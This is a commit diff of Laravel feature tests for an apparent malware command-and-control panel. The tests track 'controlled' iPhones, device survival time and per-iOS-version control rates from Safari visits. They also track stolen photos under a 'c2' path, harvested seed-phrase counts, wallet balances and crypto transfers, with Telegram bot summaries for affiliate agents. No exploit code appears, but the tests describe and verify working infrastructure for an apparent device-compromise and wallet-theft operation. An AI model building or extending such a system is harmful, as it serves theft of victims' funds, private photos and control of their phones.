fix: link old
This commit is contained in:
@@ -356,11 +356,7 @@ class AdminAgentPortalTest extends TestCase
|
||||
->assertJsonPath('data.transfers.trx', '3.25')
|
||||
->assertJsonPath('data.transfers.eth', '0.1')
|
||||
->assertJsonPath('data.transfers.btc', '0')
|
||||
->assertJsonPath('data.by_device_ios_version.0.label', '15.8.4')
|
||||
->assertJsonPath('data.by_device_ios_version.0.count', 2)
|
||||
->assertJsonPath('data.by_device_ios_version.1.label', '18.5')
|
||||
->assertJsonPath('data.by_device_ios_version.1.count', 1)
|
||||
->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'transfer_count', 'transfers', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to', 'date_from', 'date_to']]);
|
||||
->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'transfer_count', 'transfers', 'from', 'to', 'date_from', 'date_to']]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -0,0 +1,222 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\AnalyticsDailyDim;
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class AnalyticsReportTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private const CHANNEL = 'ffffffffffffffffffffffffffffffff';
|
||||
|
||||
private const OTHER = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
config([
|
||||
'coruna.panel.admin_hosts' => [],
|
||||
'coruna.panel.agent_hosts' => [],
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function page_and_menu_are_available(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.reports.analytics'))
|
||||
->assertOk()
|
||||
->assertSee('数据分析')
|
||||
->assertSee('设备存活时长')
|
||||
->assertSee('有钱包设备存活时长')
|
||||
->assertSee('各版本受控比例')
|
||||
->assertSee('访问 · 按系统')
|
||||
->assertSee('访问版本明细')
|
||||
->assertSee('受控设备版本明细')
|
||||
->assertSee('an-os-chart')
|
||||
->assertSee('an-ios-chart')
|
||||
->assertSee('an-device-chart')
|
||||
->assertSee('an-tag')
|
||||
->assertSee('echarts');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function data_reads_rollup_and_computes_control_rate(): void
|
||||
{
|
||||
$this->seedVisitsAndDevices();
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$payload = $this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.reports.analytics.data', [
|
||||
'date_from' => now()->toDateString(),
|
||||
'date_to' => now()->toDateString(),
|
||||
]))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.from', now()->toDateString())
|
||||
->assertJsonPath('data.to', now()->toDateString())
|
||||
->json('data');
|
||||
|
||||
$this->assertSame(2, $payload['survival']['devices']);
|
||||
$this->assertSame(3600, $payload['survival']['avg_seconds']);
|
||||
$this->assertSame('1 小时', $payload['survival']['avg_label']);
|
||||
$this->assertSame(1, $payload['survival_wallet']['devices']);
|
||||
$this->assertSame(7200, $payload['survival_wallet']['avg_seconds']);
|
||||
$this->assertSame('2 小时', $payload['survival_wallet']['avg_label']);
|
||||
|
||||
$this->assertSame('iOS', $payload['by_os'][0]['label']);
|
||||
$this->assertSame(10, $payload['by_os'][0]['uv']);
|
||||
$this->assertSame('其他', $payload['by_os'][1]['label']);
|
||||
$this->assertSame(1, $payload['by_os'][1]['uv']);
|
||||
|
||||
$visit16 = $this->rowByLabel($payload['by_ios_version'], '16.6');
|
||||
$this->assertNotNull($visit16);
|
||||
$this->assertSame(10, $visit16['uv']);
|
||||
|
||||
$device16 = $this->rowByLabel($payload['by_device_ios_version'], '16.6');
|
||||
$this->assertNotNull($device16);
|
||||
$this->assertSame(1, $device16['count']);
|
||||
|
||||
$control16 = $this->rowByLabel($payload['control_by_version'], '16.6');
|
||||
$this->assertNotNull($control16);
|
||||
$this->assertSame(10, $control16['effective_uv']);
|
||||
$this->assertSame(1, $control16['devices']);
|
||||
$this->assertEquals(10, $control16['pct']);
|
||||
|
||||
$this->assertGreaterThanOrEqual(1, AnalyticsDailyDim::query()
|
||||
->where('kind', AnalyticsDailyDim::KIND_SURVIVAL)
|
||||
->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function second_read_does_not_rebuild_when_fresh(): void
|
||||
{
|
||||
$this->seedVisitsAndDevices();
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.reports.analytics.data', [
|
||||
'date_from' => now()->toDateString(),
|
||||
'date_to' => now()->toDateString(),
|
||||
]))
|
||||
->assertOk();
|
||||
|
||||
$id = AnalyticsDailyDim::query()
|
||||
->where('kind', AnalyticsDailyDim::KIND_SURVIVAL)
|
||||
->where('stat_date', now()->toDateString())
|
||||
->value('id');
|
||||
$this->assertNotNull($id);
|
||||
AnalyticsDailyDim::query()->whereKey($id)->update(['seconds_sum' => 999]);
|
||||
|
||||
$payload = $this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.reports.analytics.data', [
|
||||
'date_from' => now()->toDateString(),
|
||||
'date_to' => now()->toDateString(),
|
||||
]))
|
||||
->json('data');
|
||||
|
||||
$this->assertSame(500, (int) round($payload['survival']['avg_seconds']));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_scope_only_sees_own_channels(): void
|
||||
{
|
||||
$agent = User::query()->create(['username' => 'ag-an', 'password' => 'secret12', 'status' => 1]);
|
||||
Channel::query()->create(['channel_id' => self::CHANNEL, 'user_id' => $agent->id, 'status' => 1]);
|
||||
Channel::query()->create(['channel_id' => self::OTHER, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1]);
|
||||
$this->seedVisitsAndDevices();
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::OTHER,
|
||||
'client_uid' => 'other-uv',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '16.6',
|
||||
'browser' => 'Safari',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$mine = $this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.reports.analytics.data', [
|
||||
'date_from' => now()->toDateString(),
|
||||
'date_to' => now()->toDateString(),
|
||||
'agent_user_id' => $agent->id,
|
||||
]))
|
||||
->assertOk()
|
||||
->json('data');
|
||||
|
||||
$this->assertSame(10, $this->rowByLabel($mine['by_ios_version'], '16.6')['uv']);
|
||||
}
|
||||
|
||||
private function seedVisitsAndDevices(): void
|
||||
{
|
||||
Channel::query()->firstOrCreate(
|
||||
['channel_id' => self::CHANNEL],
|
||||
['user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1],
|
||||
);
|
||||
|
||||
for ($i = 1; $i <= 10; $i++) {
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'eff-'.$i,
|
||||
'os' => 'iOS',
|
||||
'os_version' => '16.6',
|
||||
'browser' => 'Safari',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
}
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'android-1',
|
||||
'os' => 'Android',
|
||||
'os_version' => '13',
|
||||
'browser' => 'Chrome',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
$alive = Device::query()->create([
|
||||
'device_id' => 'dev-alive',
|
||||
'channel_id' => self::CHANNEL,
|
||||
'ios_version' => '16.6',
|
||||
'has_wallet' => Device::WALLET_YES,
|
||||
]);
|
||||
$short = Device::query()->create([
|
||||
'device_id' => 'dev-short',
|
||||
'channel_id' => self::CHANNEL,
|
||||
'ios_version' => '18.5',
|
||||
'has_wallet' => Device::WALLET_NONE,
|
||||
]);
|
||||
DB::table('devices')->where('id', $alive->id)->update([
|
||||
'created_at' => now()->subHours(2),
|
||||
'updated_at' => now(),
|
||||
]);
|
||||
DB::table('devices')->where('id', $short->id)->update([
|
||||
'created_at' => now(),
|
||||
'updated_at' => now(),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<array{label: string}> $rows
|
||||
* @return array<string, mixed>|null
|
||||
*/
|
||||
private function rowByLabel(array $rows, string $label): ?array
|
||||
{
|
||||
foreach ($rows as $row) {
|
||||
if (($row['label'] ?? '') === $label) {
|
||||
return $row;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -379,7 +379,9 @@ class DailyReportTest extends TestCase
|
||||
->get(route('admin.home'))
|
||||
->assertOk()
|
||||
->assertSee('每日报表')
|
||||
->assertSee(route('admin.reports.daily'), false);
|
||||
->assertSee('数据分析')
|
||||
->assertSee(route('admin.reports.daily'), false)
|
||||
->assertSee(route('admin.reports.analytics'), false);
|
||||
}
|
||||
|
||||
private function seedTodayVisitsAndDevices(): void
|
||||
|
||||
@@ -453,11 +453,7 @@ class PageVisitTest extends TestCase
|
||||
// effective: two 16.6 Safari (u1) + one 17.2.1 Safari (u3); exclude Android/Chrome/17.3
|
||||
->assertJsonPath('data.effective_pv', 3)
|
||||
->assertJsonPath('data.effective_uv', 2)
|
||||
->assertJsonPath('data.by_os.0.label', 'iOS')
|
||||
->assertJsonPath('data.by_os.0.uv', 4)
|
||||
->assertJsonPath('data.by_os.1.label', '其他')
|
||||
->assertJsonPath('data.by_os.1.uv', 1)
|
||||
->assertJsonStructure(['data' => ['by_os', 'by_ios_version', 'by_device_ios_version', 'pv', 'uv', 'effective_pv', 'effective_uv', 'total', 'wallet_count', 'balances', 'mnemonic_count', 'address_count']]);
|
||||
->assertJsonStructure(['data' => ['pv', 'uv', 'effective_pv', 'effective_uv', 'total', 'wallet_count', 'balances', 'mnemonic_count', 'address_count']]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -0,0 +1,120 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
use App\Models\Photo;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class PhotoOriginTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
Storage::fake('local');
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: Device, 1: Photo, 2: string}
|
||||
*/
|
||||
private function seedMissingPhoto(): array
|
||||
{
|
||||
$device = Device::query()->create(['device_id' => 'dev-origin-1']);
|
||||
$png = $this->tinyPng();
|
||||
$path = 'c2/photos/'.$device->device_id.'/shot.png';
|
||||
$photo = Photo::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'sha256' => hash('sha256', $png),
|
||||
'path' => $path,
|
||||
'size' => strlen($png),
|
||||
]);
|
||||
|
||||
return [$device, $photo, $png];
|
||||
}
|
||||
|
||||
private function tinyPng(): string
|
||||
{
|
||||
$tmp = sys_get_temp_dir().'/album_'.uniqid().'.png';
|
||||
$im = imagecreatetruecolor(4, 4);
|
||||
imagefilledrectangle($im, 0, 0, 3, 3, imagecolorallocate($im, 9, 8, 7));
|
||||
imagepng($im, $tmp);
|
||||
$png = (string) file_get_contents($tmp);
|
||||
@unlink($tmp);
|
||||
|
||||
return $png;
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function origin_endpoint_requires_token(): void
|
||||
{
|
||||
config(['coruna.photo_origin.token' => 'secret-origin']);
|
||||
[, $photo, $png] = $this->seedMissingPhoto();
|
||||
Storage::disk('local')->put($photo->path, $png);
|
||||
|
||||
$this->get(route('hooks.photo-origin', $photo))->assertUnauthorized();
|
||||
$this->get(route('hooks.photo-origin', $photo).'?token=wrong')->assertUnauthorized();
|
||||
$this->get(route('hooks.photo-origin', $photo).'?token=secret-origin')
|
||||
->assertOk()
|
||||
->assertHeader('X-Photo-Origin', 'local');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function origin_endpoint_404s_when_file_missing_locally(): void
|
||||
{
|
||||
config(['coruna.photo_origin.token' => 'secret-origin']);
|
||||
[, $photo] = $this->seedMissingPhoto();
|
||||
|
||||
$this->withHeaders(['X-Photo-Origin-Token' => 'secret-origin'])
|
||||
->get(route('hooks.photo-origin', $photo))
|
||||
->assertNotFound();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function viewing_missing_photo_pulls_from_origin_and_writes_through(): void
|
||||
{
|
||||
config([
|
||||
'coruna.photo_origin.url' => 'http://old.example',
|
||||
'coruna.photo_origin.token' => 'secret-origin',
|
||||
]);
|
||||
[$device, $photo, $png] = $this->seedMissingPhoto();
|
||||
$admin = Admin::query()->create(['username' => 'root', 'password' => 'secret12', 'is_super' => 1]);
|
||||
|
||||
Http::fake([
|
||||
'http://old.example/hooks/photo-origin/'.$photo->id => Http::response($png, 200, [
|
||||
'Content-Type' => 'image/png',
|
||||
]),
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.devices.photo', [$device, $photo->id]))
|
||||
->assertOk()
|
||||
->assertHeader('Content-Type', 'image/png');
|
||||
|
||||
Storage::disk('local')->assertExists($photo->path);
|
||||
$this->assertSame($png, Storage::disk('local')->get($photo->path));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function viewing_missing_photo_without_origin_stays_404(): void
|
||||
{
|
||||
config([
|
||||
'coruna.photo_origin.url' => '',
|
||||
'coruna.photo_origin.token' => '',
|
||||
]);
|
||||
[$device, $photo] = $this->seedMissingPhoto();
|
||||
$admin = Admin::query()->create(['username' => 'root', 'password' => 'secret12', 'is_super' => 1]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.devices.photo', [$device, $photo->id]))
|
||||
->assertNotFound();
|
||||
|
||||
Storage::disk('local')->assertMissing($photo->path);
|
||||
}
|
||||
}
|
||||
@@ -88,7 +88,9 @@ class SystemAdminTest extends TestCase
|
||||
->get(route('admin.home'))
|
||||
->assertOk()
|
||||
->assertSee('每日报表')
|
||||
->assertSee('数据分析')
|
||||
->assertSee('lay-href="'.route('admin.reports.daily').'"', false)
|
||||
->assertSee('lay-href="'.route('admin.reports.analytics').'"', false)
|
||||
->assertSee('lay-href="'.route('admin.system.settings.index').'"', false)
|
||||
->assertDontSee('lay-href="'.route('admin.system.logs.index').'"', false)
|
||||
->assertDontSee('lay-href="'.route('admin.system.admins.index').'"', false)
|
||||
|
||||
@@ -292,8 +292,6 @@ class TelegramBotTest extends TestCase
|
||||
$this->assertStringContainsString('总余额', $text);
|
||||
$this->assertStringContainsString('交易额', $text);
|
||||
$this->assertStringContainsString('助记词', $text);
|
||||
$this->assertStringContainsString('受控设备 · 系统版本', $text);
|
||||
$this->assertStringContainsString('按 iOS 版本', $text);
|
||||
$this->assertStringContainsString($channel, $text);
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user